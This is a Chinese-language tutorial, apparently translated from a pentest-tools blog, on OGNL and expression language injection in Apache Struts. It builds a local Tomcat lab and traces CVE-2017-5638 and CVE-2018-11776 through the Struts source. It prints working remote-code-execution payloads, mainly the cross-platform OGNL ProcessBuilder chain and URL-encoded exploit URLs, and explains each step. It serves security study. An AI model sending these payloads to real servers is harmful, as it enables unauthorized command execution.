在Apache Struts中利用OGNL注入
前言
本文简要介绍了Apache Struts的OGNL注入缺陷,文章中介绍使用简单的应用程序复现OGNL注入。深入研究针对公共漏洞,并理解这类漏洞。
内容
- 安装Apache Tomcat服务器(入门)
- 熟悉Java应用程序在服务器上的工作方式(Web服务器基础知识)
- Struts应用程序示例(Struts应用程序示例)
- 表达语言注入(表达式语言注入)
- 了解OGNL注射(对象图导航语言注入)
- CVE-2017-5638根本原因(CVE-2017-5638根本原因)
- CVE-2018-11776根本原因(CVE-2018-11776根本原因)
- OGNL注入Payload的说明(了解OGNL注入有效负载)
入门
安装Tomcat
https://tomcat.apache.org/download-90.cgi
cd /var/tomcat/bin # Go to the extracted folder
chmod +x *.sh # Set scripts as executable
./startup.sh # Run the startup script
转到http://localhost:8080/并检查它是否正在运行。
安装Struts旧版本
https://archive.apache.org/dist/struts/2.3.30/
struts2-showcase.war是一个使用Struts编译并准备部署的演示应用程序。
只需将WAR文件复制/var/tomcat/webapps
。
访问http://localhost:8080/struts2-showcase/showcase.action
Web服务器基础知识
Java_servlet概念
https://en.wikipedia.org/wiki/Java_servlet
处理servlet,Web服务器(例如Apache Tomcat)需要的组件:
- Apache Coyote:https://en.wikipedia.org/wiki/Apache_Tomcat#Coyote
支持HTTP / 1.1协议的Connector。它允许与servlet容器组件Apache Catalina进行通信。
- Apache Catalina容器:https://en.wikipedia.org/wiki/Apache_Tomcat#Catalina
确定在Tomcat接收HTTP请求时需要调用哪些servlet的容器。将HTTP请求和响应从文本转换为servlet使用的Java对象。
Java servlet规范的所有详细信息(最新版本为4.0)
https://jcp.org/aboutJava/communityprocess/final/jsr369/index.html
Apache Struts基础知识
struts_2教程
https://www.tutorialspoint.com/struts_2/index.htm
(模型 - 视图 - 控制器)架构模式
Apache Struts框架依赖于MVC(模型 - 视图 - 控制器)架构模式。它对应用程序很有用,因为可以分离主要的应用程序组件:
- 模型 - 表示应用程序数据,例如使用“订单”等数据的类
- 视图 - 是应用程序的输出,可视部分
- Controller - 接收用户输入,使用Model以生成View
- 动作 - Apache Struts中的模型
- 拦截器 - Controller的一部分,它们是可以在处理请求之前或之后调用的钩子
- Value Stack / OGNL - 一组对象,例如Model或Action对象
- 结果/结果类型 - 用于选择业务逻辑后的视图
- 查看技术 - 处理数据的显示方式
Apache Struts Web应用程序的一般体系结构:
Controller接收HTTP请求,FilterDispatcher负责根据请求调用正确的操作。然后执行该操作,View组件准备结果并将其发送给HTTP响应中的用户。
Struts应用程序示例
使用rest-showcase演示应用程序测试漏洞节省很多时间。
带有基本前端的简单REST API。
编译应用程序,建立Maven:
cd struts-2.3.30/src/apps/rest-showcase/
mvn package
找到以下文件:struts2-rest-showcase.war。通过将其复制到Tomcat服务器的webapps目录,例如/var/tomcat/webapps。
rest-showcase应用源代码:
可用文件说明:
Order.java
是模型。它是一个存储订单信息的Java类。
public class Order {
String id;
String clientName;
int amount;
…
}
OrdersService.java
是一个帮助程序类,它将Orders存储在HashMap中并对其进行管理。
public class OrdersService {
private static Map<String,Order> orders = new HashMap<String,Order>();
…
}
IndexController.java
和OrderController.java是Struts应用程序的控制器或动作。
服务器端模板和注入
JSP通过将静态HTML与在服务器上执行的动态代码混合,可以生成动态HTML代码。
与PHP类似,可以混合使用Java和HTML代码。以下是一个例子:
<li><p><b>First Name:</b>
<%= request.getParameter("first_name")%>
</p></li>
<li><p><b>Last Name:</b>
<%= request.getParameter("last_name")%>
</p></li>
如上面的代码片段所示,可以使用请求带有HTML代码的对象并调用getParameter函数,该函数返回参数first_name和last_name的值。
遵循MVC设计模式并避免View(JSP)和Model / Controller(Java)之间的复杂混合,可以在JSP文件中使用表达式语言。使View能够与Java应用程序通信:
<jsp:text>
Box Perimeter is: ${2*box.width + 2*box.height}
</jsp:text>
此功能也称为服务器端模板,允许在服务器上创建HTML 模板,管理HTML和Java代码组合。可以使用多个服务器端模板引擎,例如FreeMarker,Velocity或Thymeleaf。
通过模板引擎使用一些特殊的编程语言,是服务器端模板注入漏洞的基础。
当模板引擎解析或解释用户提供的数据时,会出现问题。因为模板引擎通常包括调用函数的方法,可以执行操作系统命令。
使用FreeMarker模板引擎检查此示例:
<head>
<title>${title}</title>
</head>
…
<#if animals.python.price == 0>
Pythons are free today!
</#if>
在上面的代码中,如果满足条件,则会生成动态生成的标题和消息。
攻击者可以打印动态内容,也可以是敏感信息,如应用程序配置数据。
此外,如果模板引擎允许,还可以执行操作系统命令。以下是FreeMarker的示例:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
表达语言注入
表达式语言用于创建服务器端模板,因此它也可以被视为服务器端模板引擎。但由于它也满足其他目的,因此其中的漏洞并非严格意义上的注入类型。以下是一些例子:
${customer.address["street"]}
${mySuit == "hearts"}
${customer.age + 20}
#{customer.age}
${requestScope[’javax.servlet.forward.servlet_path’]}
用户可能能够执行用户提供的表达式语言代码,因此这意味着应用程序可能容易受到表达式语言注入的攻击。
ExpressionLanguageInjection.pdf:因为使用了${EL}
语法,所以很容易找到表达式语言的缺陷。例如,一个简单的数学运算,例如${9999+1}
将被评估10000
,可能在响应中可见。
使用表达式语言的默认范围来检索实际信息,例如${applicationScope}
或${requestScope}
。深入利用这个特性就会产生远程代码执行,spring-remote-code-with-expression-language-injection。表达式语言注入可以允许会话对象修改和提升用户权限的管理员级别:
${pageContext.request.getSession().setAttribute("admin",true)}
最后,甚至可能使用以下方法获取远程执行代码:
${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}
通过拒绝用户提供的表达式语言解析函数输入,保持所有依赖关系更新,甚至通过正确转义#{
和${
用户输入的序列,可以防止此类漏洞。
对象图导航语言注入
对象图导航语言(OGNL)是一种用于Java的开源表达式语言。OGNL的主要功能是获取和设置对象属性:“ 在Java中可以做的大部分工作都可以在OGNL中实现。”
例如处理订单,
public class Order {
String id;
String clientName;
int amount;
… }
可以在JSP文件中直接访问订单属性,如下所示:
<!DOCTYPE html>
<%@taglib prefix="s" uri="/struts-tags" %>
...
<s:form method="post" action=`**`%{#request.contextPath}/orders/%{id}`**` cssClass="form-horizontal" theme="simple">
<s:hidden name="_method" value="put" />
ID
<s:textfield id=`**`"id"`**` name="id" disabled="true" cssClass="form-control"/>
Client
`<s:textfield id=`**`"clientName"`**` name="clientName" cssClass="form-control"/>`
Amount
`<s:textfield id=`**`"amount"`**` name="amount" cssClass="form-control" />
<s:submit cssClass="btn btn-primary"/>
</s:form>
使用%{code}
和${code}
序列评估OGNL表达式。正如其commons-ognl/language-guide中所述,OGNL允许以下内容:
- 访问属性,如
name
或headline.text
- 调用方法如
toCharArray()
- 从数组访问元素,如
listeners[0]
- 甚至将它们组合在一起
name.toCharArray()[0].numericValue.toString()
也可以使用variables(#var = 99
),create arrays(new int[] { 1, 2, 3 }
)或maps(#@java.util.LinkedHashMap@{ "foo" : "foo value", "bar" : "bar value" }
),甚至访问静态字段(@class@field
或调用静态方法:) @class@method(args)
。
OGNL是一种功能强大的语言,但在Apache Struts中将用户提供的输入视为OGNL会影响安全性。以下为用rest-showcase应用程序演示的漏洞例子,为所有Order
属性提供getter和setter ,例如:
public String getClientName() {
return clientName;
}
public void setClientName(String clientName) {
this.clientName = clientName;
}
通过导入三个额外的包和调用TextParseUtil.translateVariables
方法,修改setter使其产生OGNL注入攻击,然后调用。例子中是修改clientName
参数中的值。
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.util.TextParseUtil;
import com.opensymphony.xwork2.util.reflection.ReflectionContextState;
…
public void setClientName(String clientName) {
ReflectionContextState.**
setDenyMethodExecution**
(ActionContext.getContext().getContextMap(), false);`
this.clientName =
TextParseUtil.translateVariables
`(clientName, ActionContext.getContext().getValueStack());
该translateVariables
方法达到以下代码:
TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);
return **parser.evaluate**
(openChars, expression, ognlEval, maxLoopCount);
这将评估OGNL表达式(OgnlTextParser.java)。
使用简单的数学运算,例如%{999+1}
测试漏洞。
客户端名称被解析为OGNL,成功执行数学运算。
在调用translateVariables
函数之前,必须先调用setDenyMethodExecution
。方法执行被拒绝作为保护措施,攻击者无法执行任何方法。
如果在开发阶段遇到类似漏洞,则可以在任何方法调用之前直接从有效负载启用方法执行:
(#context['xwork.MethodAccessor.denyMethodExecution']=false)
调试Java应用程序
使用旧的Java应用程序(如Struts 2.3.30)在IDEA调试器中编译和运行:
1.转到运行>调试>编辑配置
2.单击+并选择Maven
3.通过选择Maven项目来指定工作目录,例如rest-showcase
4.指定以下命令行:( jetty:run -f pom.xmlJetty是Web服务器)
访问http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml
触发对setClientName
断点的调用。
CVE-2017-5638原理
CVE-2017-5638曾被利用于Equifax数据泄露。两份漏洞代码如下:
exploiting-apache-struts2-cve-2017-5638
Exploit-DB漏洞代码:
python CVE-2017-5638.py http://localhost:8080/struts2-showcase/showcase.action "touch /tmp/pwned"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: touch /tmp/pwned
完整的堆栈跟踪如下:
- 在
doFilter(…)
调用prepare.wrapRequest(request);
方法的方法中处理请求 wrapRequest
调用dispatcher.wrapRequest(request);
- 在这种方法中,可以找到一些有趣的东西:
String
content_type = request.getContentType(); if (content_type != null &&
content_type.contains("multipart/form-data")) {
...
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);`
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}
如果Content-Type
请求的标头包含multipart/form-data
字符串,则框架将使用MultiPartRequestWrapper类。
- 解析请求:
multi.parse(request, saveDir);
- 尝试解析请求,但在发现
Content-Type
无效时会抛出异常:
if ((null == contentType) || (
!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) {
throw new InvalidContentTypeException( format("
the request doesn't contain a %s or %s stream, content type header is %s", MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));
- 此异常导致调用
buildErrorMessage
执行以下方法:( 其中e.getMessage()是包含漏洞利用的错误消息)LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale,
e.getMessage(), args);
- 这会导致回复
findText(aClass, aTextName, locale, defaultMessage, args, valueStack);
- 然后调用
result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
- 执行异常的调用:
MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
- 执行异常的“translateVariables”方法:请求不包含multipart / form-data或multipart / mixed流,内容类型标头为%{(#_ ='multipart / form-data')。(# DM = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS)...
Content-Type
带有OGNL表达式的无效 标题会触发CVE-2017-5638。出于某种原因,解析了带有OGNL表达式的异常消息。
CVE-2018-11776原理
漏洞环境:Struts 2.5.16
漏洞描述:apache_struts_CVE-2018-11776-part2、St2-057
在自定义配置下可以成功利用:
- 转到struts-2.5.16目录:
cd struts-2.5.16/
- 并搜索以下文件struts-actionchaining.xml:
find . -name struts-actionchaining.xml
- 编辑XML文件,例如
./src/apps/showcase/src/main/resources/struts-actionchaining.xml
- 并修改
<struts>
标记以具有以下值:
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>
使用struts2-showcase应用程序作为目标。编译它需要以下步骤:
cd src/apps/showcase/
#转到Showcase目录mvn package -DskipTests=true
#编译它(并跳过测试)cp target/struts2-showcase.war /var/tomcat/webapps/
#复制到Tomcat
访问此URL来检查应用程序是否易受攻击:
http://127.0.0.1:8080/struts2-showcase/${22+22}/actionChain1.action
如果存在漏洞会重定向到http://127.0.0.1:8080/struts2-showcase/44/register2.action
。因为执行了表达式中的22+22
技术细节:https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit
使用URL编码的Payload发送以下的两个请求:
1、
${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
2、
${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm)).(#sl=@java.io.File@separator).(#p=new java.lang.ProcessBuilder({'bash','-c',**'xcalc'**})).(#p.start())}
EXP如下:
1、
http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.setExcludedClasses%28%27%27%29%29.%28%23ognlUtil.setExcludedPackageNames%28%27%27%29%29%7D/actionChain1.action
2、
http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23context.setMemberAccess%28%23dm%29%29.%28%23sl%3D%40java.io.File%40separator%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%7B%27bash%27%2C%27-c%27%2C%27xcalc%27%7D%29%29.%28%23p.start%28%29%29%7D/actionChain1.action
预期的结果应该是弹出计算器:
查看调试器中的Payload有助于理解其工作原理。 请注意,字符串/struts2-showcase/${2+4}/actionChain1.action
中的$ {2 + 4}
在Struts中称为名称空间,actionChain1
是操作。
调用execute(ActionInvocation invocation)方法具有以下效果:
if (namespace == null) {
namespace = invocation.getProxy().getNamespace(); // namespace is “/${2+4}”
}
…
String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
setLocation(tmpLocation); // tmpLocation is “/${2+4}/register2.action”
super.execute(invocation);
execute方法也调用super.execute(invocation);
然后调用此方法:
/**
Implementation of the `execute` method from the `Result` interface. This will call the abstract method
{@link #doExecute(String, ActionInvocation)} after optionally evaluating the location as an OGNL evaluation
/*
public void execute(ActionInvocation invocation) throws Exception {
lastFinalLocation = conditionalParse(location, invocation);
doExecute(lastFinalLocation, invocation);
}
conditionalParse方法解析OGNL表达式的参数(在第一步中使用setLocation方法之前设置的位置):
/**
Parses the parameter for OGNL expressions against the valuestack
…
*/
protected String conditionalParse(String param, ActionInvocation invocation) {
if (parse && param != null && invocation != null) {
return TextParseUtil.translateVariables(
param,
invocation.getStack(),
new EncodingParsedValueEvaluator());
结果是可以执行任意OGNL表达式。
结果是可以执行任意OGNL表达式。 关于这个问题的更多细节
apache_struts_CVE-2018-11776-part2
要点:当使用动作链时,来自用户的命名空间将被解析为OGNL。
理解OGNL注入Payload
漏洞中的Payload没有写成这样的形式:%{@java.lang.Runtime@getRuntime().exec('command')}
,有两个原因。 一个是指由Struts维护者实现的保护机制,另一个是读取命令输出的相关功能(跨平台)。
相关知识页面:https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit
-
- SecurityMemberAccess类,在Payload执行期间用作_memberAccess,决定OGNL可以执行的操作,但可以选择使用条件更加宽松的DefaultMemberAccess类。
-
- 另一个保护措施是将类和包名称列入黑名单。
-
- 另外一种不同的缓解措施,可能是对静态方法的限制,这可以通过_memberAccess 类的allowStaticMethodAccess字段实现。
CVE-2017-5638和CVE-2018-11776的Payload:
(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#context['xwork.MethodAccessor.denyMethodExecution']=false).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='/usr/bin/touch /tmp/pwned').(#iswin=@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
1. #_ ='multipart / form-data' - 一个随机变量,因为我们的有效负载中需要multipart / form-data字符串才能触发漏洞
2. #dm = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS - 使用DefaultMemberAccess的值创建dm变量(比SecurityMemberAccess限制更少)
3. #_memberAccess?(#_memberAccess=#dm) – 如果_memberAccess类存在,将其替换为dm变量的DefaultMemberAccess
4. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 从上下文中获取容器,将在后面需要用到
5. #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) – 使用它来获取OgnlUtil类的实例(我们无法直接执行,因为它被列入了黑名单之中,完整的列表位于./src/core/src/main/resources/struts-default.xml)
6. #ognlUtil.getExcludedPackageNames().clear() – 清除不包含的包名称
7. #ognlUtil.getExcludedClasses().clear() – 清除不包含的类
8. #context.setMemberAccess(#dm) – 将DefaultMemberAccess设置为当前上下文
9. #cmd=’/usr/bin/touch /tmp/pwned’ – 定义我们想要执行的命令
10. #iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’)) – 如果应用程序在Windows上运行,则保存在变量中(跨平台漏洞)
11. #cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd}) – 指定如何根据操作系统执行命令(cmd.exe或bash)
12. #p=new java.lang.ProcessBuilder(#cmds) – 使用ProcessBuilder类来运行命令(参数)
13. #p.redirectErrorStream(true) – 查看命令的错误输出,可能也会有帮助
14. #process=#p.start() – 执行命令
15. #ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()) – 获取响应的输出流,将数据发送回用户
16. @org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros) – 获取执行命令的输出
17. #ros.flush() – 刷新,确保我们发送所有数据。
对CVE-2018-11776的漏洞利用有一些不同之处:
1. #_=#attr[‘struts.valueStack’] – 使用attr获取ValueStack
2. #context=#_.getContext() – 获取上下文
3. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 获取容器
4. #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) – 获取对OgnlUtil类的引用
5. #ognlUtil.setExcludedClasses(‘’) – 清除不包含的类
6. #ognlUtil.setExcludedPackageNames(‘’) – 清除不包含的包名称
7. #dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS – 使用值DefaultMemberAccess定义变量dm
8. #context.setMemberAccess(#dm) – 设置DefaultMemberAccess而不是SecurityMemberAccess
9. #sl=@java.io.File@separator – 未使用
10. #p=new java.lang.ProcessBuilder({‘bash’,’-c’,’xcalc’}) – 使用命令(xcalc)声明ProcessBuilder
11. #p.start() – 执行命令
总结
尽管Apache Struts是一个众所周知且广泛使用的框架,但由于缺乏公开的安全研究,使其仍然可能成为一个简单的目标。有关该主题的公开研究知识,可以在LGTM博客中获得。
OGNL注入漏洞影响Apache Struts的多个版本,并且是通过滥用代码中现有功能来实现远程执行代码的一个良好示例。
漏洞利用一开始可能看起来很困难,但实际上并非如此,调试器总是非常有帮助。熟悉Java可能对安全研究者来说非常困难,但最终会变成优势。
在所有新研究中,耐心是最有价值的品质。我们的建议是,当事情变得困难时,不要轻易放弃。并且善于提出问题,安全社区总是一个最有帮助的地方。
参考
https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/